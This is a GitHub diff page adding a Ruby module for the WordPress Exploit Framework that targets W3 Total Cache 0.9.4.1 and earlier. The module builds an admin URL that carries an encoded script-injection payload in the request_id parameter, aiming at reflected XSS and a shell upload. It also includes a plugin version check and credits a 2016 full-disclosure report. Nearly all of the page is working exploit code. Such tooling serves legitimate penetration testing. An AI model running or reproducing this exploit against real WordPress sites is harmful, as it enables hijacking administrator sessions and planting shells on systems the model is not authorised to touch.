This repository was archived by the owner on Oct 22, 2020. It is now read-only.
File tree Expand file tree Collapse file tree 1 file changed +36
-0
lines changed
Expand file tree Collapse file tree 1 file changed +36
-0
lines changed Original file line number Diff line number Diff line change 1+ class Wpxf ::Exploit ::W3TotalCacheReflectedXssShellUpload < Wpxf ::Module
2+ include Wpxf ::WordPress ::ReflectedXss
3+
4+ def initialize
5+ super
6+
7+ update_info (
8+ name : 'W3 Total Cache <= 0.9.4.1 Reflected XSS Shell Upload' ,
9+ author : [
10+ 'Zerial' , # Disclosure
11+ 'Rob Carr <rob[at]rastating.com>' # WPXF module
12+ ] ,
13+ references : [
14+ [ 'WPVDB' , '8625' ] ,
15+ [ 'URL' , 'http://seclists.org/fulldisclosure/2016/Sep/52' ]
16+ ] ,
17+ date : 'Sep 21 2016'
18+ )
19+ end
20+
21+ def check
22+ check_plugin_version_from_readme ( 'w3-total-cache' , '0.9.4.2' )
23+ end
24+
25+ def url_with_xss
26+ normalize_uri (
27+ wordpress_url_admin ,
28+ 'admin.php?page=w3tc_support&request_type=bug_report&payment&' \
29+ "url=http%3A%2F%2F#{ Utility ::Text . rand_alpha ( 6 ) } .com&" \
30+ "name=#{ Utility ::Text . rand_alpha ( 6 ) } &email=#{ Utility ::Text . rand_email } &twitter&phone" \
31+ "&subject=#{ Utility ::Text . rand_alpha ( 6 ) } &description=#{ Utility ::Text . rand_alpha ( 6 ) } " \
32+ '&forum_url&wp_login&wp_password&ftp_host&ftp_login&ftp_password&subscribe_releases&' \
33+ "subscribe_customer&w3tc_error=support_request&request_id=%22%3E%3Cscript%3E#{ xss_ascii_encoded_include_script } %3C%2Fscript%3E"
34+ )
35+ end
36+ end
You can’t perform that action at this time.
0 commit comments